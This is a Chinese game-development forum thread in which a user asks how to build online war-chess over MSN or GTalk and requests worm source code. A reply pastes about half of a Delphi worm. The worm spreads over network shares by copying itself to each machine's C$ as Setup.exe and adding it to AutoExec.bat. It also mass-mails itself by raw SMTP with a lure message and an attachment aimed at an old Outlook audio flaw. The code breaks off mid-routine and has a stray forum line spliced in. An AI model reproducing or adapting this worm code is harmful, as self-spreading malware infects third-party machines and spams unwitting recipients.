Project1

标题: 通过im实现互连网战棋的方法?^^ [打印本页]

作者: 冰水    时间: 2008-4-17 22:29
标题: 通过im实现互连网战棋的方法?^^
qq的协议不开放,前些日子还告了珊瑚虫,就先不不考虑了
msn与gtalk等几个都是开放协议的。有什么好点的方法可以通过他们发送接收消息吗?最好是封装好的dll。据说有,但没百度到TT
msn的sdk机器人个人版无法主动建立会话。好象还得通过ncesoft.com中转。

有msn蠕虫源码也可以,学习一下。感觉那些蠕虫都很强大啊,就是不知道会不会误报毒^^
作者: 冰水    时间: 2008-4-20 03:30
3天了,自顶下^^
作者: 做游戏的新手    时间: 2008-4-20 03:34
晕才2天啊``
好了为了不灌水嫌疑我说说吧{/hx}
别骂我
要认可喔``

  1. Uses Windows, Winsock;
  2. TYPE
  3.    Triple = ARRAY[1..3] OF BYTE;
  4.    Quad   = ARRAY[1..4] OF BYTE;

  5. // Message
  6. Const
  7. Mess : String = 'This is test worm';

  8. Var
  9. // Network string
  10. Domains      : String;
  11. // Mail String
  12. Mails        : String;
  13. //Base 64 Encode
  14. Buf          : Array[0..255] Of Char;
  15. FileBuf      : Array[0..1000000] Of Byte;
  16. CC           : String = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';

  17. // Lowercase Function.
  18. Function LowerCase(const S: string): string;
  19. var
  20.   Len: Integer;
  21. begin
  22.   Len := Length(S);
  23.   SetString(Result, PChar(S), Len);
  24.   if Len > 0 then CharLowerBuff(Pointer(Result), Len);
  25. end;

  26. Function FileSize(FileName: String): Int64;
  27. Var
  28.    H: THandle;
  29.    FData: TWin32FindData;
  30. Begin
  31.    Result:= -1;

  32.    H:= FindFirstFile(PChar(FileName), FData);
  33.    If H <> INVALID_HANDLE_VALUE Then
  34.    Begin
  35.      Windows.FindClose(H);
  36.      Result:= Int64(FData.nFileSizeHigh) Shl 32 + FData.nFileSizeLow;
  37.    End;
  38. End;

  39. Function ExtractFileName(Str:String):String;
  40. Begin
  41.   While Pos('\', Str)>0 Do
  42.    Str := Copy(Str, Pos('\',Str)+1, Length(Str));
  43.   Result := Str;
  44. End;

  45. // FileExists Function.
  46. function FileExists(const FileName: string): Boolean;
  47. var
  48.    Handle: THandle;
  49.    FindData: TWin32FindData;
  50. begin
  51.    Handle := FindFirstFileA(PChar(FileName), FindData);
  52.    result:= Handle <> INVALID_HANDLE_VALUE;
  53.    if result then
  54.    begin
  55.      CloseHandle(Handle);
  56.    end;
  57. end;

  58. // Network Spread Function
  59. procedure Enumeration(aResource:PNetResource);
  60. var
  61.     aHandle: THandle;
  62.     k, BufferSize: DWORD;
  63.     Buffer: array[0..1023] of TNetResource;
  64.     i: Integer;
  65. begin
  66.     WNetOpenEnum(2,0,0,aResource,aHandle);
  67.     k:=1024;
  68.     BufferSize:=SizeOf(Buffer);
  69.     while WNetEnumResource(aHandle,k,@Buffer,BufferSize)=0 do
  70.     for i:=0 to k-1 do
  71.     begin
  72.      if Buffer[i].dwDisplayType=RESOURCEDISPLAYTYPE_SERVER then
  73.       // Put all found domains in DOMAINS string. public declared.
  74.       Domains := Domains + copy(LowerCase(Buffer[i].lpRemoteName),3,MAX_PATH) + #13#10;
  75.      if Buffer[i].dwUsage>0 then
  76.    Enumeration(@Buffer[i])
  77.   end;
  78.     WNetCloseEnum(aHandle);
  79. end;

  80. // Here is the main procedure.
  81. Procedure Network;
  82. Var
  83.   Name : String;
  84.   Auto : TextFile;
  85. Begin
  86.   // first of course enumerate the domains.
  87.   Enumeration(NIL);
  88.   // while domains aint NOTHING we grab out domains. (look liks : NAME#13#10NAME#13#10) :D
  89.   While Domains <> '' Do Begin
  90.    // strip out name
  91.    Name := Copy(Domains, 1, Pos(#13#10, Domains)-1);
  92.    // try, MIGHT fuck so better TRY.
  93.    Try
  94.     // COPY TO C!!
  95.     CopyFile(pChar(ParamStr(0)), pChar(Name + '\C$\Setup.exe'), False);
  96.     // modify autoexec so it launches setup.exe automaticly
  97.     If FileExists(pChar(Name + '\C$\AutoExec.bat')) Then Begin
  98.      AssignFile(Auto, Name + '\C$\AutoExec.bat');
  99.      Append(Auto);
  100.      WriteLn(Auto, 'Setup.exe');
  101.      CloseFile(Auto);
  102.     // where done, so lets go
  103.     End;
  104.    Except
  105.     ;
  106.    End;
  107.    Domains := Copy(Domains, Pos(#13#10, Domains)+2, Length(Domains));


  108.   
  109. 作者: jacker0o   2006-3-5 15:33   回复此发言   

  110. --------------------------------------------------------------------------------

  111. 2 蠕虫源码  
  112.    End;
  113. End;
  114. // Base64 Encode Written By Positron
  115. // MailSend Written By p0ke
  116. FUNCTION Codeb64(Count:BYTE;T:Triple) : STRING;
  117. VAR
  118.    Q    : Quad;
  119.    Strg : STRING;
  120. BEGIN
  121.    IF Count<3 THEN BEGIN
  122.      T[3]:=0;
  123.      Q[4]:=64;
  124.    END ELSE Q[4]:=(T[3] AND $3F);
  125.    IF Count<2 THEN BEGIN
  126.      T[2]:=0;
  127.      Q[3]:=64;
  128.    END ELSE Q[3]:=Byte(((T[2] SHL 2)OR(T[3] SHR 6)) AND $3F);
  129.    Q[2]:=Byte(((T[1] SHL 4) OR (T[2] SHR 4)) AND $3F);
  130.    Q[1]:=((T[1] SHR 2) AND $3F);
  131.    Strg:='';
  132.    FOR Count:=1 TO 4 DO Strg:=(Strg+CC[(Q[Count]+1)]);
  133.    RESULT:=Strg;
  134. END;

  135. FUNCTION BASE64(DataLength:DWORD) : AnsiString;
  136. VAR
  137.    B      : AnsiString;
  138.    I      : DWORD;
  139.    Remain : DWORD;
  140.    Trip   : Triple;
  141.    Count  : WORD;
  142. BEGIN
  143.    Count:=0;
  144.    B:='';
  145.    FOR I:=1 TO DataLength DIV 3 DO BEGIN
  146.      INC(Count,4);
  147.      Trip[1]:=Ord(FileBuf[(I-1)*3+1]);
  148.      Trip[2]:=Ord(FileBuf[(I-1)*3+2]);
  149.      Trip[3]:=Ord(FileBuf[(I-1)*3+3]);
  150.      B:=B+codeb64(3,Trip);
  151.      IF Count=76 THEN BEGIN
  152.        B:=B+#13#10;
  153.        Count:=0;
  154.      END;
  155.    END;
  156.    Remain:=DataLength-(DataLength DIV 3)*3;
  157.    IF Remain>0 THEN BEGIN
  158.      Trip[1]:=Ord(FileBuf[DataLength-1]);
  159.      IF Remain>1 THEN Trip[2]:=Ord(FileBuf[DataLength]);
  160.      IF Remain=1 THEN B:=B+Codeb64(1,Trip) ELSE B:=B+Codeb64(2,Trip);
  161.    END;
  162.    RESULT:=B;
  163. END;

  164. Procedure SendMail(Recip, From, Server: String);
  165. Var
  166.   Sock             : TSocket;
  167.   Wsadatas         : TWSADATA;
  168.   SockAddrIn       : TSockAddrIn;
  169.   F                : FILE;

  170. Procedure Mys(STR:STRING);
  171. Begin
  172.   Send(Sock,STR[1],Length(STR),0);
  173. End;

  174. Begin
  175. // First try to connect to server.

  176. // Startup
  177. WSAStartUp(257,wsadatas);
  178. // Set Socket
  179. Sock:=Socket(AF_INET,SOCK_STREAM,IPPROTO_IP);
  180. // Set settings for socket
  181. SockAddrIn.sin_family:=AF_INET;
  182. // Set port, in this case 25
  183. SockAddrIn.sin_port:=htons(25);
  184. // Set address, in this case "Server"
  185. SockAddrIn.sin_addr.S_addr:=inet_addr(PChar(Server));
  186. // Try to connect
  187. If Connect(Sock,SockAddrIn,SizeOf(SockAddrIn)) <> SOCKET_ERROR Then Begin
  188.   // YAY, no errors. Lets go.

  189.   // Hello Server
  190.   Mys('HELO .com'+#13#10);
  191.   // I want to send from "FROM"
  192.   Mys('MAIL FROM: '+From+#13#10);
  193.   // Recip is my victim :)
  194.   Mys('RCPT TO: '+recip+#13#10);
  195.   // Data, Data, Data, Data
  196.   Mys('DATA'+#13#10);
  197.   // From. ME!
  198.   Mys('From: '+From+#13#10);
  199.   // My Subject
  200.   Mys('Subject: 好久不见,你还好吗'+#13#10);
  201.   // Recip. YOU!
  202.   Mys('To: '+Recip+#13#10);
  203.   // MIME-VERSION 6.66
  204.   Mys('MIME-Version: 1.0'+#13#10);
  205.   // Lets Call It ShutFace
  206.   Mys('Content-Type: multipart/mixed; boundary="ShutFace"'+#13#10+#13#10);
  207.   // START SHUTFACE
  208.   Mys('--ShutFace'+#13#10);
  209.   // Text/Plain/Boring/FuckOff
  210.   Mys('Content-Type: text/plain; charset:us-ascii'+#13#10+#13#10);
  211.   // Omg, BODY!
  212.   Mys('好久不见,你还好吗?请收好'+#13#10);
  213.   Mys('附件。'+#13#10);
  214.   Mys(#13#10+#13#10);
  215.   // Stop ShutFace!
  216.   Mys('--ShutFace'+#13#10);
  217.   // Lets use a old old old, OOOOLD exploit in outlook. the AUDIO exploit :)
  218.   Mys('Content-Type: audio/x-wav;'+#13#10);  

复制代码

先发一半{/cy}
认可了我编辑另一半``{/tp} [LINE]1,#dddddd[/LINE]系统信息:本贴获得楼主认可,66RPG感谢您的热情解答~
作者: 冰水    时间: 2008-4-20 23:02
过了36小时了啊^^写错了
楼上的是什么语言写的啊?应该是Delphi吧?
我只有一点点c的基础,这个……这个……-_-!

有vc的源码或者vb的源码吗?(vb的dll好象不是标准dll,ruby似乎无法调用orz有谁知道怎么回事?)

要是有封装好的dll插件就最好了^^
作者: 冰水    时间: 2008-4-22 17:52
2天了,再顶下




欢迎光临 Project1 (https://rpg.blue/) Powered by Discuz! X3.1